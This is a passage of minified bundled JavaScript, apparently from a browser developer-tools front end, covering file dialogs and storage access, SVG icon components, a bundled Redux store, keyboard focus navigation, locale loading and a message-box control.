l.StorageDispatch.showSaveFileDialogAsync?l.StorageDispatch.showSaveFileDialogAsync(t.name,o,t.extensions):Promise.resolve(l.StorageDispatch.showSaveFileDialog(t.name,o,t.extensions));default:throw new Error("Invalid dialog mode")}}saveFileDialog(e,t){const n=this.getDefaultFileDialogOptions(e),o=this.getDefaultFileOptions(t);o.mode=s.c.openOrCreate;return this.fileDialog(s.b.save,n,o).then(e=>{if(null!==e&&""!==e)return new a(e,o)})}openFileDialog(e,t){const n=this.getDefaultFileDialogOptions(e),o=this.getDefaultFileOptions(t);return this.fileDialog(s.b.open,n,o).then(e=>{if(null!==e&&""!==e)return new a(e,o)})}async getFileList(e,t=s.d.temporary,n=0,o=0){const r=t===s.d.temporary?e:l.prependPluginName(e);return l.StorageDispatch.getFileListAsync?l.StorageDispatch.getFileListAsync(r,t,n,o):l.StorageDispatch.getFileList(r,t,n,o)}async seek(e,t,n){return l.StorageDispatch.seek(e,t,n)}async read(e,t){switch(t){case s.f.binary:return l.StorageDispatch.readBinaryToByteArrayAsync?l.StorageDispatch.readBinaryToByteArrayAsync(e):l.StorageDispatch.readBinaryToByteArray(e);case s.f.text:return l.StorageDispatch.readTextAsync?l.StorageDispatch.readTextAsync(e,-1):l.StorageDispatch.readText(e,-1);default:throw new Error("Unsupported File Type")}}async write(e,t,n=t.length,o){switch(o){case s.f.binary:l.StorageDispatch.writeBinaryFromByteArrayAsync?await l.StorageDispatch.writeBinaryFromByteArrayAsync(e,t,0,n):l.StorageDispatch.writeBinaryFromByteArray(e,t,0,n);break;case s.f.text:l.StorageDispatch.writeTextAsync?await l.StorageDispatch.writeTextAsync(e,t,0,n):l.StorageDispatch.writeText(e,t,0,n);break;default:throw new Error("Unsupported File Type")}}getDefaultFileOptions(e){const t={access:s.a.readWrite,encoding:"UTF-8",mode:s.c.open,persistence:s.d.temporary,share:s.e.none,type:s.f.text};if(e){t.access=this.isNullOrUndefined(e.access)?t.access:e.access;t.encoding=e.encoding||t.encoding;t.mode=this.isNullOrUndefined(e.mode)?t.mode:e.mode;t.persistence=this.isNullOrUndefined(e.persistence)?t.persistence:e.persistence;t.share=this.isNullOrUndefined(e.share)?t.share:e.share;t.type=this.isNullOrUndefined(e.type)?t.type:e.type}return t}getDefaultFileDialogOptions(e){const t={extensions:[""],extensionsIndex:0,initialDirectory:"",name:"",title:""};if(e){t.name=e.name||t.name;t.extensions=e.extensions||t.extensions;t.extensionsIndex=e.extensionsIndex||t.extensionsIndex;t.initialDirectory=e.initialDirectory||t.initialDirectory;t.title=e.title||t.title}return t}openFileAsHostFile(e,t){if("string"!=typeof e||""===e)throw new Error(Object(i.a)("JSPlugin.7003"));const n=this.getDefaultFileOptions(t);return this.openFile(e,n).then(e=>new a(e,n))}async openFile(e,t){const n=t.persistence===s.d.temporary?e:l.prependPluginName(e),o=void 0!==t.type?t.type:s.f.text;if(l.StorageDispatch.openFileAsync){return await l.StorageDispatch.openFileAsync(n,t.access,t.encoding,t.mode,t.persistence,o)}return l.StorageDispatch.openFile(n,t.access,t.encoding,t.mode,t.persistence,o)}createFile(e,t){if(!this.isNullOrUndefined(e)&&"string"!=typeof e)throw new Error(Object(i.a)("JSPlugin.7006"));const n=this.getDefaultFileOptions(t);n.mode=s.c.createNew;return this.openFile(e,n).then(e=>new a(e,n))}isNullOrUndefined(e){return null===e||void 0===e}}l.StorageDispatch=o.b.storage;let c;function u(){c||(c=new l);return c}},function(e,t,n){"use strict";var o=n(24),r=n(1);class i extends r.PureComponent{render(){return r.createElement(o.a,Object.assign({},this.props),r.createElement("path",{d:"M264.687 339.313l-115.314-115.313 115.314-115.314 22.627 22.628-92.687 92.686 92.686 92.687-22.626 22.626z"}))}}class a extends r.PureComponent{render(){return r.createElement(o.a,Object.assign({},this.props),r.createElement("path",{d:"M183.314 339.313l-22.628-22.627 92.686-92.686-92.686-92.686 22.628-22.628 115.313 115.314-115.313 115.313z"}))}}class s extends r.PureComponent{render(){return r.createElement(o.a,Object.assign({},this.props),r.createElement("rect",{key:"1",x:"128",y:"192",width:"64",height:"32"}),r.createElement("rect",{key:"2",x:"128",y:"256",width:"64",height:"32"}),r.createElement("rect",{key:"3",x:"128",y:"320",width:"64",height:"32"}),r.createElement("rect",{key:"4",x:"128",y:"384",width:"64",height:"32"}),r.createElement("path",{key:"5",d:"M448 96v352h-288v-256h32v224h224v-288h-192v-32h224zm-64 160h-160v-96h160v96zm-32-64h-96v32h96v-32zm-219.312-187.312l-52.688 52.687-52.687-52.687-22.625 22.625 52.687 52.687-52.687 52.688 22.625 22.625 52.687-52.688 52.688 52.688 22.625-22.625-52.688-52.688 52.688-52.688-22.625-22.624z"}))}}class l extends r.PureComponent{render(){return r.createElement(o.a,Object.assign({viewBox:"0 0 28 28"},this.props),r.createElement("path",{fill:"#414141",d:"m 4 2 v 24 h 21 v -19 l -5 -5 h -3 Z m 2 2 h 11 v 6 h 6 v 14 h -17 Z"}),r.createElement("rect",{fill:"#414141",x:"17",y:"14",width:"5",height:"1"}),r.createElement("rect",{fill:"#414141",x:"17",y:"16",width:"5",height:"1"}),r.createElement("rect",{fill:"#414141",x:"17",y:"18",width:"5",height:"1"}),r.createElement("rect",{fill:"#414141",x:"13",y:"8",width:"1",height:"1"}),r.createElement("rect",{fill:"#414141",x:"11",y:"8",width:"1",height:"1"}),r.createElement("rect",{fill:"#414141",x:"9",y:"8",width:"1",height:"1"}),r.createElement("rect",{fill:"#414141",x:"9",y:"6",width:"1",height:"1"}),r.createElement("rect",{fill:"#414141",x:"9",y:"10",width:"1",height:"1"}),r.createElement("rect",{fill:"#414141",x:"9",y:"12",width:"1",height:"1"}),r.createElement("rect",{fill:"#414141",x:"7",y:"8",width:"1",height:"1"}),r.createElement("rect",{fillOpacity:".93725",fill:"#e61d26",x:"13",y:"15",width:"1",height:"7"}),r.createElement("rect",{fillOpacity:".93725",fill:"#e61d26",transform:"rotate(45)",x:"20.006",y:"1.2071",width:"1",height:"9"}),r.createElement("rect",{fillOpacity:".93725",fill:"#e61d26",transform:"rotate(90)",x:"19",y:"-14",width:"1",height:"4.5303"}))}}class c extends r.PureComponent{render(){return r.createElement(o.a,Object.assign({},this.props),r.createElement("path",{d:"M208 32c-114.687 0-208 93.313-208 208s93.313 208 208 208 208-93.313 208-208-93.312-208-208-208zm24 352h-48v-48h48v48zm0-96h-48v-192h48v192z"}))}}class u extends r.PureComponent{render(){return r.createElement(o.a,Object.assign({viewBox:"0 0 28 28"},this.props),r.createElement("path",{fillOpacity:".94902",d:"m 7 5 v 8 h 2 v -6 h 5.0273 v -2 h -7.0273 Z m 10 0 v 2 h 5 v 6 h 2 v -8 h -7 Z m -10 11 v 7 h 7 v -2 h -5 v -5 h -2 Z m 15 0 v 5 h -5 v 2 h 7 v -7 h -2 Z"}),r.createElement("path",{fillOpacity:".94902",d:"m 15.5 1.0215 a 3.5 4.4166 0 0 0 -3.4805 3.9785 h 2.0078 a 1.5 2.5208 0 0 1 1.4727 -2.041 a 1.5 2.5208 0 0 1 1.4707 2.041 h 2.0117 a 3.5 4.4166 0 0 0 -3.4824 -3.9785 Z"}),r.createElement("path",{fillOpacity:".94902",d:"m 15.5 26.979 a 3.5 4.4166 0 0 1 -3.4805 -3.9785 h 2.0078 a 1.5 2.5208 0 0 0 1.4727 2.041 a 1.5 2.5208 0 0 0 1.4707 -2.041 h 2.0117 a 3.5 4.4166 0 0 1 -3.4824 3.9785 Z"}),r.createElement("path",{fillOpacity:".94902",d:"m 3.0215 14.473 a 4.4166 3.5 0 0 1 3.9785 -3.4805 v 2.0078 a 2.5208 1.5 0 0 0 -2.041 1.4727 a 2.5208 1.5 0 0 0 2.041 1.4707 v 2.0117 a 4.4166 3.5 0 0 1 -3.9785 -3.4824 Z"}),r.createElement("path",{fillOpacity:".94902",d:"m 18.021 14.473 a 4.4166 3.5 0 0 1 3.9785 -3.4805 v 2.0078 a 2.5208 1.5 0 0 0 -2.041 1.4727 a 2.5208 1.5 0 0 0 2.041 1.4707 v 2.0117 a 4.4166 3.5 0 0 1 -3.9785 -3.4824 Z"}))}}class d extends r.PureComponent{render(){return r.createElement(o.a,Object.assign({},this.props),r.createElement("path",{d:"M208 32c-114.687 0-208 93.313-208 208s93.313 208 208 208 208-93.313 208-208-93.312-208-208-208zm120.969 295.031l-33.938 33.938-87.031-87.031-87.031 87.031-33.938-33.938 87.032-87.031-87.031-87.031 33.938-33.938 87.03 87.032 87.031-87.031 33.938 33.938-87.031 87.03 87.031 87.031z"}))}}class h extends r.PureComponent{render(){return r.createElement(o.a,Object.assign({viewBox:"0 0 28 28"},this.props),r.createElement("rect",{fill:"#dcb67a",width:"24",height:"16",y:"8",x:"2"}),r.createElement("path",{fill:"#dcb67a",d:"m 13 4 l -4 4 h 3 l 2 -2 h 10 v 2 h 2 v -4 Z"}))}}class p extends r.PureComponent{render(){return r.createElement(o.a,Object.assign({viewBox:"0 0 28 28"},this.props),r.createElement("path",{fill:"#414141",d:"m 6 1 v 16 h 2 v -14 h 10 v 6 h 6 v 14 h -1 v 2 h 3 v -19 l -5 -5 h -13 Z"}),r.createElement("circle",{fill:"#0095d8",cx:"12",cy:"22",r:"4"}),r.createElement("path",{fill:"none",strokeWidth:"2",stroke:"#414141",d:"m 18 19 l 3 3 l -3 3"}),r.createElement("path",{fill:"none",strokeWidth:"2",stroke:"#414141",d:"m 5.6774 19 l -3 3 l 3 3"}))}}class m extends r.PureComponent{render(){return r.createElement(o.a,Object.assign({},this.props),r.createElement("path",{d:"M208 32c-114.687 0-208 93.313-208 208s93.313 208 208 208 208-93.313 208-208-93.312-208-208-208zm24 320h-48v-160h48v160zm0-192h-48v-48h48v48z"}))}}class g extends r.PureComponent{render(){return r.createElement(o.a,Object.assign({viewBox:"0 0 28 28"},this.props),r.createElement("path",{fill:"#F06425",d:"m 9 1 c -2.6675 0.46571 -4.2493 2.2341 -5 5 v 13 h 4 v -13 c 0.08215 -0.41706 0.16876 -0.83264 1 -1 h 11 v 16 h 2 v -14 h 6 v -2 c 0.19372 -2.4231 -0.86288 -3.2626 -2 -4 Z"}),r.createElement("path",{fill:"#F06425",d:"m 0 21 h 14 c -0.01313 1.6485 -0.23841 3.9481 2 4 h 2 c 1.3051 0 1.9681 -0.96069 1.9896 -1.9578 l 0.010378 -2.0422 h 2 v 3 c 0 1.1864 -1.6441 3 -3 3 h -15 c -4 0 -4.03 -3.562 -4 -6 Z"}))}}class f extends r.PureComponent{render(){return r.createElement(o.a,Object.assign({},this.props),r.createElement("path",{d:"M160 352h-32v-192h32v192zm64-192h-32v192h32v-192zm64 0h-32v192h32v-192zm96-96v32h-32v320c0 17.672-14.326 32-32 32h-224c-17.674 0-32-14.328-32-32v-320h-32v-32h96v-32c0-17.674 14.326-32 32-32h96c17.674 0 32 14.326 32 32v32h96zm-224 0h96v-32h-96v32zm160 32h-224v320h224v-320z"}))}}var _=n(111),v=n(99);class b extends r.PureComponent{render(){return r.createElement(o.a,Object.assign({viewBox:"0 0 28 28"},this.props),r.createElement("path",{fill:"#df4b06",d:"m 0 6 v 3 h 5 v 14 h 4 v -14 h 5 v -3 h -14 Z"}),r.createElement("path",{fill:"#df4b06",d:"m 16.036 22.073 v -3.75 q 1.0195 0.85547 2.2148 1.2891 q 1.1953 0.42188 2.4141 0.42188 q 0.71484 0 1.2422 -0.12891 q 0.53906 -0.12891 0.89062 -0.35156 q 0.36328 -0.23438 0.53906 -0.53906 q 0.17578 -0.31641 0.17578 -0.67969 q 0 -0.49219 -0.28125 -0.87891 q -0.28125 -0.38672 -0.77344 -0.71484 q -0.48047 -0.32812 -1.1484 -0.63281 q -0.66797 -0.30469 -1.4414 -0.62109 q -1.9688 -0.82031 -2.9414 -2.0039 q -0.96094 -1.1836 -0.96094 -2.8594 q 0 -1.3125 0.52734 -2.25 q 0.52734 -0.94922 1.4297 -1.5586 q 0.91406 -0.60938 2.1094 -0.89062 q 1.1953 -0.29297 2.5312 -0.29297 q 1.3125 0 2.3203 0.16406 q 1.0195 0.15234 1.875 0.48047 v 3.5039 q -0.42188 -0.29297 -0.92578 -0.51562 q -0.49219 -0.22266 -1.0195 -0.36328 q -0.52734 -0.15234 -1.0547 -0.22266 q -0.51562 -0.070312 -0.98438 -0.070312 q -0.64453 0 -1.1719 0.12891 q -0.52734 0.11719 -0.89062 0.33984 q -0.36328 0.22266 -0.5625 0.53906 q -0.19922 0.30469 -0.19922 0.69141 q 0 0.42188 0.22266 0.76172 q 0.22266 0.32812 0.63281 0.63281 q 0.41016 0.29297 0.99609 0.58594 q 0.58594 0.28125 1.3242 0.58594 q 1.0078 0.42188 1.8047 0.90234 q 0.80859 0.46875 1.3828 1.0664 q 0.57422 0.59766 0.87891 1.3711 q 0.30469 0.76172 0.30469 1.7812 q 0 1.4062 -0.53906 2.3672 q -0.52734 0.94922 -1.4414 1.5469 q -0.91406 0.58594 -2.1328 0.84375 q -1.207 0.25781 -2.5547 0.25781 q -1.3828 0 -2.6367 -0.23438 q -1.2422 -0.23438 -2.1562 -0.70312 Z"}))}}class C extends r.PureComponent{render(){return r.createElement(o.a,Object.assign({},this.props),r.createElement("path",{d:"M208 36.094l-205.031 411.906h410.063l-205.032-411.906zm24 363.906h-48v-48h48v48zm-48-80v-144h48v144h-48z"}))}}n.d(t,!1,function(){return o.a});n.d(t,"b",function(){return i});n.d(t,"c",function(){return a});n.d(t,!1,function(){return s});n.d(t,"a",function(){return l});n.d(t,"d",function(){return c});n.d(t,"e",function(){return u});n.d(t,!1,function(){return d});n.d(t,"f",function(){return h});n.d(t,"g",function(){return p});n.d(t,"h",function(){return m});n.d(t,"i",function(){return g});n.d(t,"j",function(){return f});n.d(t,"k",function(){return _.a});n.d(t,"l",function(){return v.a});n.d(t,"m",function(){return b});n.d(t,"n",function(){return C})},function(e,t,n){"use strict";n.d(t,"a",function(){return r});var o=n(6);class r{static registerFocusHandlers(e){const t=document.head.parentElement;if(t){r.LastActiveElement=t;r.LastActiveElement.focus()}}static registerNavigationFrames(e){r.NavigationFrames=e;if(!r.Registered){window.addEventListener("navigatesubframes",e=>{r.navigateFrames(e.detail.isForward,e.detail.useActiveElement)||e.preventDefault()});r.Registered=!0}}static enableNavigation(){r.Enabled=!0}static disableNavigation(){r.Enabled=!1}static makeNavigationFrameFromTarget(e,t){return r.makeNavigationFrameFromCallback(e,()=>t)}static makeNavigationFrameFromCallback(e,t){return{container:e,getNavigationTarget:t}}static navigateFrames(e,t){var n=[],o=[],i=-1,a=e?1:-1;if(!r.Enabled)return!1;if(!r.NavigationFrames||!r.NavigationFrames.length)return!0;for(var s=0;s<r.NavigationFrames.length;s++){var l=r.NavigationFrames[s];const e=l.getNavigationTarget();if(e){n.push(l.container);o.push(e)}}if(t){for(var c,u=document.activeElement,d=0;d<n.length;d++){var h=n[d];h.contains(u)&&(c?c.contains(h)&&(c=h):c=h)}c&&(i=n.indexOf(c)+a)}else i=e?0:o.length-1;for(;i>=0&&i<o.length;){var p=o[i];if(p){p.focus();return!1}i+=a}return!0}static showFocus(e,t){var n=document.body,i=document.activeElement,a=r.LastActiveElement;if(e)if(i&&i!==n){i===document.body&&(i=i.querySelector('[tabIndex="1"]'));i&&i.focus()}else if(r.shouldFocus(a)&&a!==n)a.focus();else{var s=!0;t===o.c.console&&(s=!1);r.navigateFrames(s,!1)}else if(i){i.blur();i!==n&&(r.LastActiveElement=i)}return!1}static shouldFocus(e){return e&&document.body.contains(e)&&"none"!==e.style.display&&"hidden"!==e.style.visibility&&!e.getAttribute("disabled")&&e.tabIndex>=0}}r.Enabled=!0;r.Registered=!1},function(e,t,n){"use strict";n.d(t,"a",function(){return r});var o=n(5);class r{static loadCultureSync(){const e=o.b.utilities.getCultureInfo();e.numberFormat.currencyGroupSizes=r.convertPatternToArray(e.numberFormat.currencyGroupSizes);e.numberFormat.numberGroupSizes=r.convertPatternToArray(e.numberFormat.numberGroupSizes);e.numberFormat.percentGroupSizes=r.convertPatternToArray(e.numberFormat.percentGroupSizes);e.direction="ltr";"string"==typeof e.language&&(e.language=e.language.replace(/_/g,"-"));r.numberFormat=e.numberFormat;r.setCultureInfoAndAttributes(e.language,e.direction)}static async loadCulture(){const e=await o.b.utilities.getCultureInfo();e.numberFormat.currencyGroupSizes=r.convertPatternToArray(e.numberFormat.currencyGroupSizes);e.numberFormat.numberGroupSizes=r.convertPatternToArray(e.numberFormat.numberGroupSizes);e.numberFormat.percentGroupSizes=r.convertPatternToArray(e.numberFormat.percentGroupSizes);e.direction="ltr";"string"==typeof e.language&&(e.language=e.language.replace(/_/g,"-"));r.numberFormat=e.numberFormat;r.setCultureInfoAndAttributes(e.language,e.direction)}static get Language(){return r.language}static get Direction(){return r.direction}static get NumberFormat(){return r.numberFormat}static setCultureInfoAndAttributes(e,t){if(!r.domInitialized){r.language=e;r.direction=t;const n=document.getElementsByTagName("html");if(!(n.length>0))return!1;r.domInitialized=!0;n[0].dir=r.Direction;n[0].lang=r.Language}return!0}static convertPatternToArray(e){const t=[],n=e.split(";");for(const e of n)t.push(parseInt(e,10));return t}}r.domInitialized=!1},function(e,t,n){"use strict";n.d(t,"a",function(){return o});class o{constructor(e){this._rootElement=e;if(void 0===this._rootElement){this._rootElement=document.createElement("div");this._rootElement.style.width=this._rootElement.style.height="100%"}else if(null===this._rootElement)throw new Error("Invalid root element for Control.")}get rootElement(){return this._rootElement}set rootElement(e){if(!e)throw new Error("Invalid root");var t=this._rootElement;this._rootElement=e;t&&t.parentNode&&t.parentNode.replaceChild(e,t)}get parent(){return this._parent}set parent(e){if(this._parent!==e){this._parent=e;this._parent&&!this._parent.rootElement.contains(this._rootElement)&&this._parent.appendChild(this);this.onParentChanged()}}appendChild(e){this._rootElement.appendChild(e.rootElement);e.parent=this}removeChild(e){if(e.rootElement.parentElement){this._rootElement.removeChild(e.rootElement);e.parent=null}}destroy(){this._rootElement=null}onParentChanged(){}}},,function(e,t,n){"use strict";var o=n(179),r=n(178),i={INIT:"@@redux/INIT"};function a(e,t,n){var s;if("function"==typeof t&&void 0===n){n=t;t=void 0}if(void 0!==n){if("function"!=typeof n)throw new Error("Expected the enhancer to be a function.");return n(a)(e,t)}if("function"!=typeof e)throw new Error("Expected the reducer to be a function.");var l=e,c=t,u=[],d=u,h=!1;function p(){d===u&&(d=u.slice())}function m(){return c}function g(e){if("function"!=typeof e)throw new Error("Expected listener to be a function.");var t=!0;p();d.push(e);return function(){if(t){t=!1;p();var n=d.indexOf(e);d.splice(n,1)}}}function f(e){if(!Object(o.a)(e))throw new Error("Actions must be plain objects. Use custom middleware for async actions.");if(void 0===e.type)throw new Error('Actions may not have an undefined "type" property. Have you misspelled a constant?');if(h)throw new Error("Reducers may not dispatch actions.");try{h=!0;c=l(c,e)}finally{h=!1}for(var t=u=d,n=0;n<t.length;n++){(0,t[n])()}return e}function _(e){if("function"!=typeof e)throw new Error("Expected the nextReducer to be a function.");l=e;f({type:i.INIT})}function v(){var e,t=g;return(e={subscribe:function(e){if("object"!=typeof e)throw new TypeError("Expected the observer to be an object.");function n(){e.next&&e.next(m())}n();return{unsubscribe:t(n)}}})[r.a]=function(){return this},e}f({type:i.INIT});return(s={dispatch:f,subscribe:g,getState:m,replaceReducer:_})[r.a]=v,s}function s(e,t){var n=t&&t.type;return"Given action "+(n&&'"'+n.toString()+'"'||"an action")+', reducer "'+e+'" returned undefined. To ignore an action, you must explicitly return the previous state. If you want this reducer to hold no value, you can return null instead of undefined.'}function l(e){Object.keys(e).forEach(function(t){var n=e[t];if(void 0===n(void 0,{type:i.INIT}))throw new Error('Reducer "'+t+"\" returned undefined during initialization. If the state passed to the reducer is undefined, you must explicitly return the initial state. The initial state may not be undefined. If you don't want to set a value for this reducer, you can use null instead of undefined.");if(void 0===n(void 0,{type:"@@redux/PROBE_UNKNOWN_ACTION_"+Math.random().toString(36).substring(7).split("").join(".")}))throw new Error('Reducer "'+t+"\" returned undefined when probed with a random type. Don't try to handle "+i.INIT+' or other actions in "redux/*" namespace. They are considered private. Instead, you must return the current state for any unknown actions, unless it is undefined, in which case you must return the initial state, regardless of the action type. The initial state may not be undefined, but can be null.')})}function c(e){for(var t=Object.keys(e),n={},o=0;o<t.length;o++){var r=t[o];0;"function"==typeof e[r]&&(n[r]=e[r])}var i=Object.keys(n);0;var a=void 0;try{l(n)}catch(e){a=e}return function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments[1];if(a)throw a;for(var o=!1,r={},l=0;l<i.length;l++){var c=i[l],u=n[c],d=e[c],h=u(d,t);if(void 0===h){var p=s(c,t);throw new Error(p)}r[c]=h;o=o||h!==d}return o?r:e}}function u(e,t){return function(){return t(e.apply(void 0,arguments))}}function d(e,t){if("function"==typeof e)return u(e,t);if("object"!=typeof e||null===e)throw new Error("bindActionCreators expected an object or a function, instead received "+(null===e?"null":typeof e)+'. Did you write "import ActionCreators from" instead of "import * as ActionCreators from"?');for(var n=Object.keys(e),o={},r=0;r<n.length;r++){var i=n[r],a=e[i];"function"==typeof a&&(o[i]=u(a,t))}return o}function h(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];return 0===t.length?function(e){return e}:1===t.length?t[0]:t.reduce(function(e,t){return function(){return e(t.apply(void 0,arguments))}})}var p=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e};function m(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];return function(e){return function(n,o,r){var i=e(n,o,r),a=i.dispatch,s=[],l={getState:i.getState,dispatch:function(e){return a(e)}};s=t.map(function(e){return e(l)});a=h.apply(void 0,s)(i.dispatch);return p({},i,{dispatch:a})}}}n.d(t,"e",function(){return a});n.d(t,"c",function(){return c});n.d(t,"b",function(){return d});n.d(t,"a",function(){return m});n.d(t,"d",function(){return h});0},function(e,t,n){"use strict";n(67);var o=n(126);n.d(t,"c",function(){return o.c});n.d(t,"a",function(){return o.a});n.d(t,"b",function(){return o.b})},function(e,t,n){"use strict";var o=n(40),r=n(13),i=n(0);class a{constructor(e,t){this._resizeDebounceLastDate=null;this._anchorElement=null;this._resizeEventListener=(()=>{});this._keyPressEventListener=(()=>{});const n=document.createElement("div");n.id="f12HostMessageBox";n.className="f12HostMessageContainer";n.tabIndex=0;n.innerHTML="<div class='f12HostMessageInnerContainer'>        <div id='f12HostMessageHelp' class='f12HostCmdIcon' tabindex='0' role='button'></div>        <div id='f12HostMessageClose' class='f12HostCmdIcon' tabindex='0' role='button'></div>        <div id='f12HostMessageIcon'></div>        <div id='f12HostMessageText'></div>        </div>";n.addEventListener("keydown",e=>{if(!e.ctrlKey&&!e.shiftKey&&!e.altKey&&27===e.keyCode){this.close();return!1}return!0});this._messageBoxElement=n;this._anchorElement=t;e.appendChild(n);this._resizeEventListener=this.resize.bind(this,!1);const o=document.getElementById("f12HostMessageHelp"),r=Object(i.b)("/Common/HelpButtonTooltip");o.setAttribute("aria-label",r);o.setAttribute("data-plugin-vs-tooltip",r);o.addEventListener("click",()=>this.showHelpLink());o.addEventListener("keydown",e=>{if(13===e.keyCode||32===e.keyCode){this.showHelpLink();return!1}return!0});const a=document.getElementById("f12HostMessageClose"),s=Object(i.b)("/Common/CloseButtonTooltip");a.setAttribute("aria-label",s);a.setAttribute("data-plugin-vs-tooltip",s);a.addEventListener("click",()=>this.close());a.addEventListener("keydown",e=>{if(13===e.keyCode||32===e.keyCode){this.close();return!1}return!0});this._messageIconElement=document.getElementById("f12HostMessageIcon");this._messageElement=document.getElementById("f12HostMessageText");this._resizeDebounceLastDate=new Date;this._keyPressEventListener=this.onHelpKeyPressed.bind(this)}get messageText(){return this._messageText}get helpUri(){return this._helpUri}get isShown(){return"block"===this._messageBoxElement.style.display}showWithDocUrl(e,t,n,r,i,a,s){const l=document.createElement("div");l.innerHTML='(<a href="#"></a>)';const c=l.children[0];c.innerText=i+":"+a+":"+s;c.onclick=(()=>{Object(o.h)(i,a,s)});this.show(e,t,n,r);this._messageElement.appendChild(l)}show(e,t,n,o){window.addEventListener("resize",this._resizeEventListener);this._messageText=e;this._helpUri=null;this._messageElement.innerText=e;if("number"==typeof t&&t>0)this._timeoutId=window.setTimeout(()=>this.close(),t);else{this._timeoutId&&window.clearTimeout(this._timeoutId);this._timeoutId=null}const r=document.getElementById("f12HostMessageHelp");if("string"==typeof n&&n.length>0){this._helpUri=n;r.style.display="block";document.addEventListener("keydown",this._keyPressEventListener)}else{this._helpUri=null;r.style.display="none"}o?this._messageIconElement.classList.add("info"):this._messageIconElement.classList.remove("info");this._messageBoxElement.style.display="block";this.resize(!0)}close(){if(this._timeoutId){window.clearTimeout(this._timeoutId);this._timeoutId=null}window.removeEventListener("resize",this._resizeEventListener);null!==this._helpUri&&document.removeEventListener("keydown",this._keyPressEventListener);this._messageBoxElement.style.display="none";this._messageText=null;this._helpUri=null}resize(e){const t=Date.now();if(e||t-this._resizeDebounceLastDate>a.ResizeDebounceThreshold){this.setupPosition();this._resizeDebounceLastDate=t}}onHelpKeyPressed(e){if(112===e.keyCode){this.showHelpLink();return!1}return!0}setupPosition(){const e=this._messageBoxElement.offsetWidth,t=window.innerWidth,n=this._messageBoxElement.offsetHeight,o=(t-e)/2;let r=window.innerHeight;this._anchorElement&&"none"!==this._anchorElement.style.display&&(r=this._anchorElement.getBoundingClientRect().top);let i=parseInt(window.getComputedStyle(this._messageBoxElement).boxShadow,10);isNaN(i)&&(i=0);r=r-n-i;this._messageBoxElement.style.top=r+"px";this._messageBoxElement.style.left=o+"px"}showHelpLink(){"string"==typeof this._helpUri&&this._helpUri.length>0&&Object(r.B)(this._helpUri)}}a.ResizeDebounceThreshold=100;n.d(t,"a",function(){return c});class s{get messageText(){return this._display?this._display.messageText:null}get helpUri(){return this._display?this._display.helpUri:null}get isShown(){return!!this._display&&this._display.isShown}showWithDocUrl(e,t,n,o,r,i,s,l){this._display||(this._display=new a(document.body,o));this._display.showWithDocUrl(e,t,n,r,i,s,l)}show(e,t,n,o,r){this._display||(this._display=new a(document.body,o));this._display.show(e,t,n,r)}close(){this._display&&this._display.close()}resize(e){this._display&&this._display.resize(e)}}let l;function c(){l||(l=new s);return l}},,,function(e,t,n){"use strict";n.d(t,"a",function(){return r});var o=n(110);class r{constructor(e,t){this.tryCancel=t;this._state="initialized";let n;this._internalPromise=new Promise((e,t)=>{n=e;this._internalReject=t});setImmediate(()=>{e(e=>{if("initialized"===this._state){this._state="resolved";n(e)}},e=>{if("initialized"===this._state){this._state="rejected";this._internalReject(e)}},()=>{this.cancel()})})}then(e,t){return this._internalPromise.then(e,t)}catch(e){return this._internalPromise.catch(e)}cancel(){if("initialized"===this._state&&this.tryCancel()){this._state="cancelled";this._internalReject&&this._internalReject(new o.a)}}static timeout(e){let t=!1,n=!1,o=NaN;return new r((r,i)=>{o=setTimeout(()=>{if(!t){n=!0;r(void 0)}},e)},()=>{if(!n){t=!0;clearTimeout(o);return!0}return!1})}static wrap(e){return new r((t,n,o)=>{e.then(t,n).catch(n)},()=>!0)}}},function(e,t,n){"use strict";n.d(t,"a",function(){return r});var o=n(68);class r{static get isTestMode(){return window.TestMode}static get notifications(){r._notifications||(r._notifications=new o.a);return r._notifications}static subscribe(e,t){r.isTestMode&&r.notifications.addEventListener(e,t)}static unsubscribe(e,t){r.isTestMode&&r.notifications.removeEventListener(e,t)}static subscribeOnce(e,t){let n=this;function o(){r.unsubscribe(e,o);t.apply(n,arguments)}r.isTestMode&&r.subscribe(e,o)}static notify(e,t){r.isTestMode&&r.notifications.dispatchEvent(e,t)}}},function(e,t,n){"use strict";n.d(t,"d",function(){return r});n.d(t,"e",function(){return i});n.d(t,"f",function(){return a});n.d(t,"b",function(){return s});n.d(t,"c",function(){return l});n.d(t,"a",function(){return c});var o=n(5);function r(){o.b.notifyOnActiveStackFrameChanged()}function i(e){o.b.notifyOnBreak(e)}function a(){o.b.notifyOnRun()}function s(){return o.b.isAtBreakpoint}function l(){return o.b.isAtBreakpointInWorker}function c(e){o.b.activateTab(e)}},function(e,t,n){"use strict";class o{constructor(e){this.length=1;this._node=e}get(){return this._node}is(e){if(!(this._node instanceof HTMLElement))throw"$mNode.is(s: string) : boolean - can only be called on HTML elements";var t=this._node;if(":hidden"===e)return"none"===t.style.display;if(":visible"===e)return"none"!==t.style.display;throw"$mNode.is(s: string) : boolean - can only be called with :hidden or :visible"}hide(){if(!(this._node instanceof HTMLElement||this._node instanceof SVGElement))throw"$mNode.hide(): IQueryNode - can only be called on HTML or SVG elements";this._node.style.display="none";return this}show(){if(!(this._node instanceof HTMLElement||this._node instanceof SVGElement))throw"$mNode.show(): IQueryNode - can only be called on HTML or SVG elements";var e=this._node;e.style.display="";"none"===e.ownerDocument.defaultView.getComputedStyle(e).display&&(e.style.display="block");return this}placeholder(e){if(!(this._node instanceof HTMLInputElement))throw"$mNode.placeholder(s: string): IQueryNode - can only be called on HTMLInput elements";this._node.placeholder=e;return this}focus(){this._node.focus();return this}scrollTop(e){if(!(this._node instanceof HTMLElement))throw"$mNode.scrollTop(value?: number): number - can only be called on HTML elements";var t=this._node;if(void 0===e)return t.scrollTop;t.scrollTop=e;return e}addClass(e){if(!(this._node instanceof HTMLElement))throw"$mNode.addClass(className: string) - can only be called on HTML elements";var t=this._node;t.classList.contains(e)||t.classList.add(e)}removeClass(e){if(!(this._node instanceof HTMLElement))throw"$mNode.removeClass(className: string) - can only be called on HTML elements";var t=this._node;t.classList.contains(e)&&t.classList.remove(e)}hasClass(e){if(!(this._node instanceof HTMLElement))return!1;var t=this._node;return t.classList&&t.classList.contains(e)}scrollLeft(e){if(!(this._node instanceof 